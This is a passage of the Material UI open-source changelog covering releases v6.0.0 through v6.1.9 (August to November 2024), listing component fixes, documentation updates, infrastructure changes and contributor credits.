`@mui/material@6.1.9`\n\n- [Select] Omit `placeholder` from props (#44502) @Juneezee\n- [Grid2] Add container class to `Grid2Classes` (#44562) @sai6855\n\n### `@mui/system@6.1.9`\n\n- Add ThemeProvider `noSsr` to prevent double rendering (#44451) @siriwatknp\n\n### `@mui/codemod@6.1.9`\n\n- [codemod] Fix handling of computed `paragraph` props (#44195) @joshkel\n\n### `@mui/material-pigment-css@6.1.9`\n\n- Make @pigment-css/react as peer dependency (#44498) @brijeshb42\n\n### Docs\n\n- [material-ui] Add missing required dependencies in dashboard template README (#44476) @mesqueeb\n- [material-ui] Add missing Roboto import to Next.js integration docs (#44462) @StaceyD22\n- [material-ui][Dialog] Fix padding in SimpleDialog demo (#44467) @oliviertassinari\n- Fix template page issues (#44466) @oliviertassinari\n- [examples] Add dark mode example for Material UI + Pigment CSS (#44480) @mnajdova\n\n### Core\n\n- Remove TODO line in the changelog (#44484) @mnajdova\n- Polish image display (418e888) @oliviertassinari\n- [core-infra] Add no-relative-packages (#44489) @oliviertassinari\n- [docs-infra] Support CSS variables API info (#44559) @mnajdova\n- [docs-infra] Fix display when ad-block triggers (#44567) @oliviertassinari\n- [docs-infra] Improve locator finding using visible option (#44541) @siriwatknp\n- [docs-infra] Correctly flatten the pages tree (#44514) @oliviertassinari\n- [docs-infra] Fix Sponsor design regression (#44515) @oliviertassinari\n- [test] Remove React.ReactElement<any> from describeConformance.tsx (#44318) @sai6855\n- [test] Do not enforce the presence of `ownerState.className` in `describeConformance` (#44479) @flaviendelangle\n\nAll contributors of this release in alphabetical order: @brijeshb42, @flaviendelangle, @joshkel, @Juneezee, @mesqueeb, @mnajdova, @oliviertassinari, @sai6855, @siriwatknp, @StaceyD22\n\n## v6.1.8\n\n<!-- generated comparing v6.1.7..master -->\n\n_Nov 20, 2024_\n\nA big thanks to the 10 contributors who made this release possible.\n\n### `@mui/material@6.1.8`\n\n- [Autocomplete] Use `ul` element for the listbox (#44422) @DiegoAndai\n- [Grid2] Remove item and zeroMinWidth classes from grid2Classes (#44419) @sai6855\n- [StepIcon] Add SvgIconOwnProps type to StepIcon props (#44337) @sai6855\n- Add generic back to `useMediaQuery` to prevent a breaking change (#44455) @siriwatknp\n- [Tooltip] Deprecate `*Component` and `*Props` for v6 (#44350) @siriwatknp\n\n### `@mui/system@6.1.8`\n\n- Warn when calling `setMode` without configuring `colorSchemeSelector` (#43783) @siriwatknp\n\n### `@mui/styled-engine@6.1.8`\n\n- Add back removed internal function (#44421) @mnajdova\n\n### `@mui/utils@6.1.8`\n\n- Skip deep clone React element (#44400) @siriwatknp\n- Add documentation to `useForkRef` (#44410) @JCQuintas\n\n### Docs\n\n- [Accordion] Replace hardcoded classes with constants in demos (#44453) @ZeeshanTamboli\n- [material-ui][Autocomplete] Fix virtualization demo (#44382) @DiegoAndai\n- Revert #44388 (#44454) @prakhargupta1\n- Add App starters in related-projects.md (#44315) @oliviertassinari\n- Bring back `*Component` and `*Props` codemods and deprecation messages (#44383) @DiegoAndai\n- [docs] Copyedit Templates page (#44461) @samuelsycamore\n\n### Core\n\n- Remove `stylis-plugin-rtl-sc` (#44447) @renovate[bot]\n- [test][Autocomplete] Make virtualize regression screenshots deterministic (#44425) @DiegoAndai\n- [blog] Fix reference to subdomain on MUI X v8 alpha zero post (#44416) @joserodolfofreitas\n- [blog] MUI X v8 alpha zero blog post (#44377) @joserodolfofreitas\n- [code-infra] Use vitest-compatible skip in `describeConformance` (#44412) @JCQuintas\n- Keep OpenSSF badge up-to-date (aef2bf2) @oliviertassinari\n- Polish useForkRef docs (#44424) @oliviertassinari\n- [infra] Upgrade Cherry-pick workflow to latest (#44448) @oliviertassinari\n\nAll contributors of this release in alphabetical order: @DiegoAndai, @JCQuintas, @joserodolfofreitas, @mnajdova, @oliviertassinari, @prakhargupta1, @sai6855, samuelsycamore, @siriwatknp, @ZeeshanTamboli\n\n## v6.1.7\n\n<!-- generated comparing v6.1.6..master -->\n\n_Nov 13, 2024_\n\nA big thanks to the 13 contributors who made this release possible.\nThis release includes fixes as well as documentation improvements.\n\n### `@mui/material@6.1.7`\n\n- Fix default props theme scoping (#44340) @siriwatknp\n- Support theme scoping in `useMediaQuery` (#44339) @siriwatknp\n- [Grid] Fix regression spacing prop with string value (#44376) @siriwatknp\n\n### `@mui/styled-engine-sc@6.1.7`\n\n- Fix missing `@types/hoist-non-react-statics` causing `styled` returns any (#44397) @megos\n\n### Docs\n\n- Replace 'Experimental APIs - Toolpad' with 'Toolpad (Beta)' (#44388) @prakhargupta1\n- Fix Pigment CSS install (#44353) @oliviertassinari\n- Fix dashboard menu warning (#44317) @siriwatknp\n- Add runtime theme section for Material Pigment CSS (#44137) @siriwatknp\n- Add hash to `key` to remove noise from console (#44289) @sai6855\n- Revise Example Projects and Related Projects pages (#44191) @samuelsycamore\n- [material-ui] Fix typo in typography theme set up for templates (#44338) @navedqb\n- [material-ui] Add StackBlitz/CodeSandbox buttons to template cards (#44253) @zanivan\n- [material-ui] Fix Sign-in/Sign-up templates layout (#44281) @zanivan\n- [material-ui] Remove noise in template (#44260) @oliviertassinari\n- [material-ui][Rating] Add uncontrolled example to Basic Rating demo (#44386) @sai6855\n- [material-ui][TextField] Replace InputProps with slotProps.input in demo (#44288) @sai6855\n\n### Core\n\n- [blog] Follow media asset guidelines (#44374) @oliviertassinari\n- [code-infra] Changes for test util to work in `vitest` (#43625) @JCQuintas\n- Remove old marked JS options (#44375) @ZeeshanTamboli\n- Fix webpack capitalization (#44352) @oliviertassinari\n- Fix Next.js link 404 (710cd95) @oliviertassinari\n- Update Gold sponsoring backlinks (#44316) @oliviertassinari\n- Fix tools-public.mui.com redirection (9196fa5) @oliviertassinari\n- Remove blank AlertTitle test file (#44282) @ZeeshanTamboli\n- [docs-infra] Fix ad in RTL (#44345) @oliviertassinari\n- [docs-infra] Enforce punctuation on descriptions (#44292) @oliviertassinari\n- [docs-infra] Add CodeSandbox and StackBlitz to vale vocab (6db477a) @oliviertassinari\n- [docs-infra] Fix correct spelling of VS Code (#44277) @oliviertassinari\n- [docs-infra] Add a `rawDescriptions` option (#44390) @vladmoroz\n- [examples] Add missing `clsx` dependency (#43526) @Janpot\n- [infra] Fix @renovate[bot] appearing in changelog (#44275) @mnajdova\n\nAll contributors of this release in alphabetical order: @Janpot, @JCQuintas, @megos, @mnajdova, @navedqb, @oliviertassinari, @prakhargupta1, @sai6855, @samuelsycamore, @siriwatknp, @vladmoroz, @zanivan, @ZeeshanTamboli\n\n## v6.1.6\n\n<!-- generated comparing v6.1.5..master -->\n\n_Oct 30, 2024_\n\nA big thanks to the 13 contributors who made this release possible.\n\n### `@mui/material@6.1.6`\n\n- [Autocomplete] Add missing `onMouseDown` type to AutocompleteRenderInputParams (#44183) @sai6855\n- [Avatar] Fix AvatarGroup spacing (#44208) @aarongarciah\n- [AvatarGroup] Fix spacing CSS variable (#44202) @navedqb\n- [Divider] Fix CSS specificity order (#44204) @o-alexandrov\n- [Slider] Fix value prop type warning (#44131) @joshkel\n- Replace `useThemeProps` with `useDefaultProps` (#44193) @siriwatknp\n\n### `@mui/material-nextjs@6.1.6`\n\n- Support Next 15.0.0 (#42428) @nphmuller\n\n### `@mui/lab@6.0.0-beta.14`\n\n- [Tabs] Fix type of TabPanel component (#44207) @blackcow1987\n\n### `@mui/codemod@6.1.6`\n\n- Fix system props default import specifier (#44170) @siriwatknp\n\n### `@mui/utils@6.1.6`\n\n- Bring back useIsFocusVisible (#44256) @aarongarciah\n- Bring back getReactNodeRef (#44248) @aarongarciah\n\n### Docs\n\n- [material-ui][Avatar] Add AvatarGroup spacing demo (#44209) @aarongarciah\n- Fix a typo in CONTRIBUTING.md (#44200) @prakhargupta1\n- Mark the Hidden component as deprecated in the sidenav (#44068) @jimmycallin\n- Use () when referencing functions (#44184) @oliviertassinari\n- Follow types description convention (#44187) @oliviertassinari\n\n### Core\n\n- Lock file maintenance (#43947)\n- Run @mui/icon-material src:icons (#44097) @oliviertassinari\n- [test][material-ui] Add tests for Pigment Grid and Stack (#44132) @DiegoAndai\n- [test] Distinguish private with public tests API (#44188) @oliviertassinari\n- [docs-infra] Add recursively the relative modules in the demos (#44150) @mnajdova\n\nAll contributors of this release in alphabetical order: @aarongarciah, @blackcow1987, @DiegoAndai, @jimmycallin, @joshkel, @mnajdova, @navedqb, @nphmuller, @o-alexandrov, @oliviertassinari, @prakhargupta1, @sai6855, @siriwatknp\n\n## v6.1.5\n\n<!-- generated comparing v6.1.4..master -->\n\n_Oct 22, 2024_\n\nA big thanks to the 9 contributors who made this release possible.\n\n### `@mui/material@6.1.5`\n\n- [Autocomplete] Fix bug with child chip button events propagating to parent (#43982) @snapwich\n- [Autocomplete] Fix Autocomplete crashing if ownerState is used in styleOverrides (#43994) @sai6855\n- [Checkbox] Fix disableRipple regression (#44099) @siriwatknp\n- [Dialog] Add the aria-modal=\"true\" by default (#44118) @mnajdova\n- [IconButton] Fix disableRipple behavior when disableRipple is set in MuiButtonBase theme (#43714) @sai6855\n- [pigment-css] Support project without enabling CSS variables (#44171) @siriwatknp\n- Make the palette always return new light and dark object (#44059) @siriwatknp\n\n### `@mui/system@6.1.5`\n\n- Add `defaultMode` to `InitColorSchemeScript` (#44139) @siriwatknp\n\n### `@mui/codemod@6.1.5`\n\n- [Grid2] Add removal `zeroMinWidth` prop to codemod (#44178) @sai6855\n\n### Docs\n\n- [material-ui][FormControlLabel] Don't use unintuitive label position on chec… (#44119) @mnajdova\n- [material-ui][TextField] Dynamically modify the eye password button aria-label (#44122) @ChinoUkaegbu\n- [icons] Run pnpm docs:mdicons:synonyms (#44098) @oliviertassinari\n- [joy-ui] Update Overview copy to match Readme (#44136) @samuelsycamore\n- Add CodeSandbox/StackBlitz to the rest of the templates (#43708) @siriwatknp\n- Update Figma link to fix 301 (a7b7d9c) @oliviertassinari\n- Link Toolpad from Core repo (#44111) @prakhargupta1\n- Remove HighlightedCode max-width (#43731) @Janpot\n\n### Core\n\n- [code-infra] Widen ESLint file patterns (#44148) @Janpot\n- [code-infra] Fix icon builder tests (#44143) @Janpot\n- [code-infra] Fix dependabot vulnerabilities (#44124) @Janpot\n- [core] Reference commits in changelog when no PR (#44115) @oliviertassinari\n- [examples] Fix Pigment CSS Vite example (#44074) @oliviertassinari\n- Fix fast-xml-parser vulnerability (#44121) @Janpot\n\nAll contributors of this release in alphabetical order: @ChinoUkaegbu, @Janpot, @mnajdova, @oliviertassinari, @prakhargupta1, @sai6855, @samuelsycamore, @siriwatknp, @snapwich\n\n## v6.1.4\n\n<!-- generated comparing v6.1.3..master -->\n\n_Oct 15, 2024_\n\nA big thanks to the 9 contributors who made this release possible.\n\n### `@mui/material@6.1.4`\n\n- [Checkbox] Fix disableRipple regression (#44099) @siriwatknp\n- [IconButton] Fix disableRipple behavior when disableRipple is set in MuiButtonBase theme (#43714) @sai6855\n- Make the palette always return new light and dark object (#44059) @siriwatknp\n- Simplify createPalette (#44075) @oliviertassinari\n\n### Docs\n\n- Improve Toolpad Core docs (#43796) @bharatkashyap\n- Tweak Joy UI section in README (#44103) @aarongarciah\n- Fix 404 link to Next.js @oliviertassinari\n- [toolpad core] In the sidebar, move 'new' label to the components (#44070) @prakhargupta1\n- Fix small typo on Grid2 page (#44062) @zanivan\n- Clarify suggestions to use `@mui/styles` in v5 migration docs (#44049) @samuelsycamore\n\n### Core\n\n- [code-infra] Link to production app for bundle size (#44076) @oliviertassinari\n- [code-infra] Disable cron job for React 17 tests (#44065) @Janpot\n- Remove [website] from changelog (#44069) @oliviertassinari\n- Apply #44052 to the latest release as well @oliviertassinari\n- Fix proptypes generation when multiple components per file (#44058) @Janpot\n- Remove <-- from changelog (#44052) @oliviertassinari\n- [examples] Avoid git diff when playing with examples @oliviertassinari\n- [test] Remove dead code (#44056) @Janpot\n\nAll contributors of this release in alphabetical order: @aarongarciah, @bharatkashyap, @Janpot, @oliviertassinari, @prakhargupta1, @sai6855, @samuelsycamore, @siriwatknp, @zanivan\n\n## v6.1.3\n\n<!-- generated comparing v6.1.2..master -->\n\n_Oct 9, 2024_\n\nA big thanks to the 18 contributors who made this release possible. Here are some highlights ✨:\n\n- 🚀 Improved performance on styled components by pre-serializing and caching the styles (#43412) @romgrk\n\n### `@mui/material@6.1.3`\n\n- Change React.ReactElement<any> to React.ReactElement<unknown> (#43402) @sai6855\n- [Badge] Make keys in anchor origin partial (#43950) @sai6855\n- [Grid2] Fix column spacing for nested containers (#43733) @Janpot\n- [Grid2] Remove required `item` prop for `size` prop (#44027) @Janpot\n- [Grid2] Add compatible props warning (#43801) @k-rajat19\n- [Modal] Fix comment location (#44026) @oliviertassinari\n- [OutlinedInput] Resolve border color issue on mobile (#43797) (#43879) @wojtek35\n\n### `@mui/system@6.1.3`\n\n- Make createGrid compatible with React 19 types (#44035) @aarongarciah\n- Add empty interfaces to fix issue with typescript module augmentation (#43873) @yonatan0\n- Pre-serialize & cache styles to improve performance (#43412) @romgrk\n- [typescript] `SystemCSSProperties` should not have `SystemStyleObject` as value (#44029) @siriwatknp\n\n### `@mui/utils@6.0.0-beta.11`\n\n- [utils] Make getReactElementRef React 19 compatible (#44034) @aarongarciah\n\n### `@mui/lab@6.1.3`\n\n- [lab][Timeline] Fix types for React 19 (#44043) @aarongarciah\n\n### Docs\n\n- Update docs-infra role (#44032) @mnajdova\n- Update Material Symbols plan to reflect Google development (#44000) @oliviertassinari\n- Fix 301 redirections in docs @oliviertassinari\n- Fix indentation @oliviertassinari\n- Fix Live edit copies (#43835) @oliviertassinari\n- Virtualize icons svg (#43939) @Janpot\n- [Grid] Fix Grid2 gap description (#43967) @aarongarciah\n- [icons] Index search synchronously (#44001) @oliviertassinari\n- [material-ui] Incorrect React useState Example on Toggle Button (#43987) @barrownicholas\n- [material-ui] Add theme setting for pigment-css migration (#43993) @effektsvk\n- [material-ui] Fix incorrect `slotProp` name in the `TextField` deprecation note. (#43985) @Chee7ah\n- [examples] Use CSS Variables (#43856) @Juneezee\n- [material-ui] Improved documentation for indeterminateIcon prop (#43791) @marctaylor01\n\n### Core\n\n- Fix typo in useLocalStorageState (#44024) @hieunguyenduc696\n- Amend changelog (#43968) @aarongarciah\n- Remove `@mui/styled-engine-sc` dev dependency from `@mui/styled-engine-sc` (#44050) @Janpot\n- [docs-infra] Add pointer cursor on hover for logo to improve UX (#43999) @Asin-Junior-Honore\n- [blog] Migrate some .gif to <video> (#43945) @oliviertassinari\n- [code-infra] Align `next` dependency specifier across project (#44036) @Janpot\n- [code-infra] Move MuiError babel macro to babel plugin (#43904) @Janpot\n- [code-infra] Forbid calling `Error` without `new` (#43963) @Janpot\n- [docs-infra] Fix link in header regression (#43834) @oliviertassinari\n- [infra] Fix line break in Stack Overflow message @oliviertassinari\n- [test] Add missing async (#44028) @oliviertassinari\n- [test] Fix Escape event firing event (#43961) @oliviertassinari\n- [test] Fix flaky pigment-css screenshot (#43959) @Janpot\n\nAll contributors of this release in alphabetical order: @aarongarciah, @Asin-Junior-Honore, @barrownicholas, @Chee7ah, @effektsvk, @hieunguyenduc696, @Janpot, @Juneezee, @k-rajat19, @mnajdova, @oliviertassinari, @romgrk, @sai6855, @siriwatknp, @wojtek35, @yonatan0\n\n## v6.1.2\n\n<!-- generated comparing v6.1.1..master -->\n\n_Oct 2, 2024_\n\nA big thanks to the 13 contributors who made this release possible.\n\n### `@mui/material@6.1.2`\n\n- [Autocomplete] Fix listbox opens and closes on click when used with `limitTags` (#42494) @appleSimple\n- [Button] Ignore `dark` and `contrastText` if not provided in the theme (#43861) @siriwatknp\n- [Button] Fix regression for color `inherit` (#43862) @siriwatknp\n- [LinearProgress] Fix background color (#43949) @sai6855\n- Support CSS variables with shadow DOM (#43948) @siriwatknp\n- [Rating] Use Rating `name` as prefix of input element ids (#43829) @yash49\n- [Drawer] Fix issue with main window being used instead of iframe's window (#43818) @albarv340\n- [ThemeProvider] Support setting default mode (#43951) @siriwatknp\n\n### Docs\n\n- Update theme toggle demo (#43956) @Janpot\n- Add note about minimum required webpack version (#43864) @Janpot\n- Format Pigment CSS docs (#43812) @oliviertassinari\n- Fix visual bug on dashboard template (#43836) @oliviertassinari\n- Fix pigment-css.md syntax error (#43837) @kdichev\n- Fix Sign-in template form experience (#43838) @oliviertassinari\n- Remove \"To be continued\" section from v0 –> v1 migration guide (#43832) @samuelsycamore\n- Fix 301 to chromium (#43809) @oliviertassinari\n- [joy-ui] Add missing ComponentLinkHeader components (#43865) @samuelsycamore\n- [Modal] Remove unnecessary type assertion (#43825) @ZeeshanTamboli\n- [Table] Stabilize random series in virtualized table demo (#43744) @Janpot\n- [system] Add migration guide link to `@mui/styles` pages (#43833) @samuelsycamore\n\n### Core\n\n- [code-infra] Fix flaky dashboard screenshot - take 2 (#43937) @Janpot\n- [code-infra] Replace all instances of `e` with `event` and add ESLint rule (#43866) @samuelsycamore\n- [code-infra] Fix and update bundling fixtures (#43709) @Janpot\n- [code-infra] Update transitive dependencies with vulnerabilties (#43895) @Janpot\n- [code-infra] Optimize regression tests (#43889) @Janpot\n- [code-infra] Remove custom playwright installation steps (#43881) @Janpot\n- [code-infra] Fix flaky dashboard screenshot (#43890) @Janpot\n- [code-infra] Add new instanceof proptypes for toolpad (#43814) @Janpot\n- Fix eslint-plugin-react-compiler issues in usePagination tests (#43946) @wilhelmlofsten\n- Uniformity in version range @oliviertassinari\n- Replace `toBeAriaHidden` matcher with `toBeInaccessible` in tests (#43870) @ZeeshanTamboli\n- [docs-infra] Strengthen CSP (#43711) @oliviertassinari\n- [docs-infra] Open CodeSandbox demo with fontsize=12 (#43860) @siriwatknp\n- [icons] Reduce Material Icon page size (#43911) @oliviertassinari\n- [test] Point Istanbul to correct URL (#43935) @sai6855\n- [test] Sync React.version parse logic with codebase (#43820) @oliviertassinari\n- Improve getReactElementRef() utils (#43022) @sai6855\n- [Drawer] Refactor getScrollbarSize usages (#43828) @BrianWoolfolk\n- [Modal] Replace `show` parameter name with `hide` in modal manager (#43868) @ZeeshanTamboli\n- [Modal] Remove unnecessary `manager` prop handling (#43867) @ZeeshanTamboli\n\nAll contributors of this release in alphabetical order: @albarv340, @appleSimple, @BrianWoolfolk, @DanailH, @Janpot, @kdichev, @oliviertassinari, @sai6855, @samuelsycamore, @siriwatknp, @wilhelmlofsten, @yash49, @ZeeshanTamboli\n\n## v6.1.1\n\n<!-- generated comparing v6.1.0..master -->\n\n_Sep 19, 2024_\n\nA big thanks to the 18 contributors who made this release possible.\n\n### `@mui/material@6.1.1`\n\n- [Grid] Bring back `GridProps` and `GridTypeMap` (#43717) @DiegoAndai\n- [Paper] Fix wrong background-image on Paper when elevation is 0 (#43723) @ZeeshanTamboli\n- [Skeleton] Fix wave animation for styled-components (#43740) @siriwatknp\n- [Modal] Fix event handlers overriding behavior (#43757) @sai6855\n\n### `@mui/system@6.1.1`\n\n- Pass the stylesheet directly to `GlobalStyles` (#43739) @siriwatknp\n\n### `@mui/utils@6.1.1`\n\n- Fix \"useId\" & \"useSyncExternalStore\" imports to not be statically analyzable (#43360) @yash49\n\n### Docs\n\n- [material-ui][Breadcrumbs] Document CondensedWithMenu option for Breadcrumbs (#42973) @Sergio16T\n- [material-ui][CircularProgress] Add Circular size demo (#43734) @sai6855\n- [material-ui][slider] Fix slider in color customization playground twitches when sliding (#43671) @Nashyn\n- [material-ui][slider] Polish Music player demo (#43748) @oliviertassinari\n- [material-ui] Document Typography color prop breaking change (#43735) @aarongarciah\n- [material-ui] Add docs for complementary Table components (#43756) @Juneezee\n- [material-ui] Improve minimizing bundle docs (#43781) @ZeeshanTamboli\n- [pigment-css] Call out Pigment being in alpha (#43725) @aarongarciah\n- [pigment-css] Fix typo globalCSS -> globalCss (#43754) @hiro0218\n- [test] Improve demos for better regression screenshots (#43742) @aarongarciah\n- Fix minor typo (#42899) @xconverge\n- Revert icon search virtualization (#43569) @Janpot\n- Fix MUI Treasury Layout broken links (#43752) @oliviertassinari\n- Fix 301 link to design asset @oliviertassinari\n- Update release schedule table after v6 stable (#43726) @sahil-ag\n- Fix bundle size link regression @oliviertassinari\n\n### Core\n\n- [code-infra] Allow overriding all `options` of `useFakeTimers` function (#43729) @LukasTy\n- [core] Fix 301 link to Next.js and git diff @oliviertassinari\n- [core] Fix package.json repository rule @oliviertassinari\n- [core] Remove redundant window @oliviertassinari\n- [core] Fix some issues reported by eslint-plugin-react-compiler (#43117) @binsmyth\n- [core] Replace more `indexOf` with `includes` (#43694) @Juneezee\n- [core] Remove /.yarn (#43712) @oliviertassinari\n- [docs-infra] Enable synthetic default imports in TypeScript config (#43747) @morozow\n- [docs-infra] Fix Vale config for TypeScript references (#43751) @oliviertassinari\n- [docs-infra] Fix toolbar arrow order (#43627) @oliviertassinari\n- [docs-infra] Fix missing dependencies in multi-tab demos (#43713) @cherniavskii\n- [docs-infra] Fix API search link regression (#43662) @oliviertassinari\n- [test] Update font-awesome CSS file in regression tests fixture (#43745) @Janpot\n- [test] Remove position:relative from regression container (#43743) @aarongarciah\n- [test] Remove top-level inline-block from the regression tests (#43656) @Janpot\n\nAll contributors of this release in alphabetical order: @aarongarciah, @binsmyth, @cherniavskii, @DiegoAndai, @Janpot, @Juneezee, @LukasTy, @mnajdova, @morozow, @Nashyn, @oliviertassinari, @sahil-ag, @sai6855, @Sergio16T, @siriwatknp, @xconverge, @yash49, @ZeeshanTamboli\n\n## v6.1.0\n\n<!-- generated comparing v6.0.2..master -->\n\n_Sep 10, 2024_\n\nA big thanks to the 21 contributors who made this release possible. Here are the highlights ✨:\n\n- **Minor version changes**: To solve longstanding ESM compatibility issues we added [package exports](https://nodejs.org/api/packages.html#exports) to `@mui/icons-material` (#43624). This change is backwards compatible with previously recommended setups. Bundlers that don't support the `exports` field won't be affected. If you discover any issues, please reach out by creating a GitHub issue.\n- This release also includes several fixes and documentation improvements to support the Material UI v6 upgrade.\n\n### `@mui/icons-material@6.1.0`\n\n- Add exports field to package.json (#43624) @Janpot\n\n### `@mui/material@6.1.0`\n\n- [Autocomplete] Add custom props support via `slotProps` (#43613) @Michael-Hutchinson\n- [Dialog] Fix broken scrolling in full screen mode (#43626) @LuseBiswas\n- [Grid] Revert wrap deprecation (#42363) (#43459) @DiegoAndai\n- Improve color map filter on styles (#43579) @DiegoAndai\n- Return styles directly if the selector is `&` when using `applyStyles` (#43633) @siriwatknp\n- [types] Make slots partial in `CreateSlotsAndSlotProp`type (#42077) @lhilgert9\n- [Radio] Fix disabled state styling regression (#43592) @mnajdova\n- Fix wrong import to type (#43584) @mnajdova\n- Simplify version prerelease export (#43699) @DiegoAndai\n\n### `@mui/system@6.1.0`\n\n- Use a custom sheet to set prepend for `GlobalStyles` (#43632) @siriwatknp\n- Simplify version prerelease export (#43699) @DiegoAndai\n\n### Docs\n\n- [material-ui][Autocomplete] Refactor asynchronous loading demo (#43630) @sai6855\n- [material-ui][Autocomplete] Fix GitHubLabel demo input background color (#43599) @sai6855\n- [material-ui] Update Next.js font optimization guide (#43196) @siriwatknp\n- [material-ui] Fix getting started with CSS variables in theme example (#43658) @Designer023\n- [material-ui][system] Edit \"How to use components selector API\" section to add about direct import (#43377) @IAluI\n- [material-ui] Update @mui/material-nextjs import examples to v14 (#43698) @ohmsl\n- Fix typo in Divider doc (#43691) @lokendra-reco\n- Add Anima section to documentation (#43673) @GoOrit-Anima\n- Add Integrations section to design resources page (#43612) @zanivan\n- Fix versions URL @oliviertassinari\n- Keep showing next under the subdomain @oliviertassinari\n- Add Next.js font optimization section to Pigment CSS migration (#43631) @siriwatknp\n- Update the Material UI readme post-v6 (#43504) @samuelsycamore\n- Bring back v5 release changelogs (#43460) @oliviertassinari\n- Fix use of absolute URLs (#43567) @oliviertassinari\n- Remove explicit `date-fns` dependency (#40823) @renovate[bot]\n- [pigment-css] Add guide for Pigment CSS quickstart (#43395) @alelthomas\n- [system] Fix link to createCssVarsProvider (#43661) @oliviertassinari\n- Add scrollbar to color picker demo (#43672) @sai6855\n\n### Core\n\n- [blog] Uniformalize version between projects @oliviertassinari\n- [blog] Fix page layout shift @oliviertassinari\n- [code-infra] Build size snapshots from installed packages (#43452) @Janpot\n- [code-infra] Recreate lockfile (#43623) @Janpot\n- [code-infra] Make the API docs builder more configurable (#43574) @michaldudak\n- [code-infra] Update runners from node 18 to 20 for GHA (#43593) @JCQuintas\n- [code-infra] Update runners from node 18 to 20 (#43591) @JCQuintas\n- [docs-infra] Fix axe issue scroll-to-top without landmark (#43663) @oliviertassinari\n- [docs-infra] Reduce Algolia index size, no need for lvl6 @oliviertassinari\n- [docs-infra] Use embed as the default for opening CodeSandbox (#43618) @siriwatknp\n- [docs-infra] Fix broken anchor button when header has a link (#43598) @cherniavskii\n- [docs-infra] Open Sign-in and Dashboard template with CodeSandbox/StackBlitz (#43604) @siriwatknp\n- [examples] Fix CDN live preview demo (#43641) @oliviertassinari\n- Add Pigment CSS screenshot test (#43280) @mnajdova\n\nAll contributors of this release in alphabetical order: @alelthomas, @cherniavskii, @Designer023, @DiegoAndai, @GoOrit-Anima, @IAluI, @Janpot, @JCQuintas, @lhilgert9, @lokendra-reco, @LuseBiswas, @Michael-Hutchinson, @michaldudak, @mnajdova, @ohmsl, @oliviertassinari, @renovate[bot], @sai6855, @samuelsycamore, @siriwatknp, @zanivan\n\n## v6.0.2\n\n<!-- generated comparing v6.0.1..master -->\n\n_Sep 3, 2024_\n\nA big thanks to the 11 contributors who made this release possible.\n\n### `@mui/material@6.0.2`\n\n- Fix `createTheme()` with just color schemes (#43518) @siriwatknp\n- [Menu,Popover] Fix Backdrop props descriptions (#43503) @Michael-Hutchinson\n- [MenuList] Do not react to an event with modifier key pressed (#43505) @MateuszGroth\n\n### `@mui/system@6.0.2`\n\n- [InitColorSchemeScript] Use `let/const` instead of `var` (#43468) @ishon19\n- Fix composeClasses v6 behavior change (#43537) @oliviertassinari\n\n### `@mui/codemod@6.0.2`\n\n- Skip `ListItemButton` import for unrelated files (#43532) @siriwatknp\n\n### Docs\n\n- [figma] Clarity state or Figma Plugin component export (#43543) @oliviertassinari\n- [material-ui] Fix template shadow tokens (#43514) @zanivan\n- Update version support range (#43565) @oliviertassinari\n- Polish Material UI Sync plugin code format @oliviertassinari\n\n### Core\n\n- [blog] Update Material UI v6 blog post link to reflect correct section title (#43535) @Michael-Hutchinson\n- [blog] Makes the v5 name change clearer @oliviertassinari\n- [blog] Fix typo in Material UI v6 blog post (#43502) @iamandrewluca\n- [code-infra] Add missing @babel/runtime dependency to @mui/material-pigment-css (#43473) @Janpot\n- [code-infra] Remove permissions in publish-canaries.yml (#43491) @oliviertassinari\n- [core] Fix CodeQL scan (#43547) @oliviertassinari\n- [core] Fix CHANGELOG `@mui/material@6.0.1` version (#43516) @DiegoAndai\n- [docs-infra] Reduce description max-length (#43562) @oliviertassinari\n- [docs-infra] Crash on invalid callout type (#43546) @oliviertassinari\n- [docs-infra] Fix GitHub source link redirection (#43534) @oliviertassinari\n- [infra] Fixed workflow file path (#43528) @michelengelen\n- [typescript] Fix missing `Theme` generic (#43523) @siriwatknp\n\nAll contributors of this release in alphabetical order: @DiegoAndai, @iamandrewluca, @ishon19, @Janpot, @joserodolfofreitas, @MateuszGroth, @Michael-Hutchinson, @michelengelen, @oliviertassinari, @siriwatknp, @zanivan\n\n## v6.0.1\n\n<!-- generated comparing v6.0.0..master -->\n\n_Aug 29, 2024_\n\nA big thanks to the 12 contributors who made this release possible. It contains bug fixes and documentation improvements.\n\n### `@mui/material@6.0.1`\n\n- Attach default light color scheme when enabling CSS theme variables (#43493) @siriwatknp\n- [Skeleton] Apply the wave animation to the correct element (#43474) @mnajdova\n\n### Docs\n\n- [material-ui][Dialog] Update confirmation dialog description (#43488) @Michael-Hutchinson\n- Add Material UI v6 is out! to the notifications (#43448) @oliviertassinari\n- [material-ui] Dark scroll bars in templates (#43483) @aarongarciah\n- [material-ui] Add TemplateFrame to templates (#43406) @zanivan\n- [table] Make the data grid blend in (#43489) @oliviertassinari\n\n### Core\n\n- [blog] Update Toolpad Studio marketing page links in the blogs (#43407) @prakhargupta1\n- [blog] Add missing social card to the blog post (#43465) @siriwatknp\n- [code-infra] Fix typing issues with `@mui-internal/api-docs-builder` (#43498) @Janpot\n- [code-infra] Fix nextjs build cache (#43467) @JCQuintas\n- Remove `'use client'` from index files and useAutocomplete reexport (#41956) @DiegoAndai\n- Replace relative links to absolute ones in JSDocs (#43472) @alexfauquette\n- Upgrade babel runtime (#43243) @Janpot\n- [docs-infra] Skip shadow DOM regression test (#43500) @aarongarciah\n- [docs-infra] Fix use of process.env.DEPLOY_ENV (#43490) @oliviertassinari\n- [docs-infra] Add comment about removing optimizeFonts Next.js config (#43469) @aarongarciah\n- [examples] Use `latest` on all Material UI dependencies (#43494) @mnajdova\n- [infra] fix workflow path (#43464) @michelengelen\n\nAll contributors of this release in alphabetical order: @aarongarciah, @alexfauquette, @DiegoAndai, @Janpot, @JCQuintas, @Michael-Hutchinson, @michelengelen, @mnajdova, @oliviertassinari, @prakhargupta1, @siriwatknp, @zanivan\n\n## 6.0.0\n\n<!-- generated comparing v6.0.0-rc.0..master -->\n\n_Aug 27, 2024_\n\nWe are excited to announce the stable release of Material-UI v6 🎉, check out [the blog post](https://mui.com/blog/material-ui-v6-is-out/) to see all the updates.\n\n### `@mui/material@6.0.0`\n\n- Change React.ReactElement<any,any> type from any to unknown (#43358) @sai6855\n- [Pagination] Update `getItemAriaLabel` page param type (#43399) @sydneyjodon-wk\n- [Unstable_TrapFocus] Fix `getTabbable` function return type (#42237) @KalmarLorand\n\n### `@mui/lab@6.0.0-beta.8`\n\n- [button] Add missing customize points for span (#43436) @oliviertassinari\n\n### Docs\n\n- Fix broken links (#43144) 